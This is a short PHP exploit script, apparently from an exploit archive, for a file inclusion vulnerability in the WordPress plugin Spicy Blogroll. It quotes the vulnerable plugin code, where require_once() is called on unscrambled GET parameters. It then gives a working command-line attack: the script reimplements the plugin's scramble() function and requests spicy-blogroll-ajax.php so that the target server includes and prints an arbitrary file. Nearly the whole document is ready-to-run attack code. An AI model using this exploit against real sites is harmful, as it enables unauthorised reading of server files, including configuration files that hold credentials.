<?php
// Title: Wordpress Plugin Spicy Blogroll File Inclusion Vulnerability
// Date: 12-07-2013 (GMT+8 Kuala Lumpur)
// Author: Ahlspiess
// Greetz: All TBDIAN - http://w3.tbd.my :)
// Screenshot: http://i.imgur.com/jIrUznC.png
/**
Details:
File: /wp-content/plugins/spicy-blogroll-ajax.php
SVN Source: http://svn.wp-plugins.org/spicy-blogroll/trunk/spicy-blogroll-ajax.php
<?php
...
...
$link_url = $_GET['link_url'];
$link_text = $_GET['link_text'];
$var2 = unscramble($_GET['var2']);
$var3 = unscramble($_GET['var3']);
$var4 = unscramble($_GET['var4']);
$var5 = unscramble($_GET['var5']);
$nonce = unscramble($_GET['var11']);
require_once($var2.$var4); <-- Boom
...
...
*/
if(!isset($argv[3])) {
die(sprintf("php %s <host> <path> <file>\n", $argv[0]));
}
list(,$host, $path, $file) = $argv;
$vfile = 'http://%s%s/wp-content/plugins/spicy-blogroll/spicy-blogroll-ajax.php?var2=%s&var4=%s';
$request = sprintf($vfile, $host, $path, scramble(dirname($file) . "/"), scramble(basename($file)));
$opts = array(
'http'=>array(
'header' => "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0",
'ignore_errors' => true,
)
);
$context = stream_context_create($opts);
echo file_get_contents($request, 0, $context);
/**
Source: http://svn.wp-plugins.org/spicy-blogroll/trunk/spicy-blogroll.php
Line: 386-401
*/
function scramble($text1,$rng = 1){
$len=strlen($text1);
$rn=$rng%2;
$count=7;
$seed=($rn%=2)+1;
$text2=chr($seed+64+$rng).chr($rng+70);
for($i=0; $i<=$len-1; $i++) {
$seed*=-1;
$count+=1;
$ch=ord(substr($text1,$i,1))+$seed;
if($ch==92){$ch.=42;}
$text2.=chr($ch);
if($count%5==$rn){$text2.=chr(mt_rand(97,123));}
}
return $text2;
}
?>